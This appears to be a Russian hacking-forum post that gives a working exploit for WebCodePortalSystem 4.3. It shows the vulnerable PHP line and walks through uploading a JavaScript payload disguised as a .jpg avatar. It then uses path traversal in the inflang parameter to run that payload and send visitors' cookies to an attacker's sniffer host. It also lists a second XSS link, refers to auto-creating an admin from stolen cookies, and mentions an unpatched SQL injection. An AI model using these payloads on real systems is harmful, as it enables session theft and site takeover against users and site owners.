WebCodePortalSystem v. 4.3 Пассивная XSS
Ну вот вышла новая версия, ну и разумеется не без уязвимостей...
[Пассивная XSS]
Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли.
Уязвимая часть скрипта:
PHP код:
<script language='javascript' src='http://<?echo $_SERVER['HTTP_HOST'].$portal_subdir;?>/php/<?echo $_GET['inflang'].$_GET['type'];?>.js'></script>
В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре).
Но это решаемо:
1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки)
2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов
? (символ знака вопроса).
И так делаем следующее:
1. У себя на компе создаем файл с содержимым:
Код:
document.location.replace("http://host.ru/sn.php?c="+document.cookie);
Где http://host.ru/sn.php адрес вашего хоста со снифером.
2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg
3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'.
4. Все теперь линк будет выглядеть так:
Код:
http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg?
!!!не забывайте знак вопроса на конце!!!
И как только пользователь перейдет по ссылке, его куки улетят нам.
Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой).
Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач).
====================================
Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны):
1. Ранее найденная пользователем
Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным:
Т.е. переходим по ссылке:
Код:
http://test2.ru/wcps/<script>alert("kreved");</script>
И получаем нужный нам результат.
2. Ранее найденная
I-I()/Ib`ом SQL инъекция не залатана в новой версии!
====================================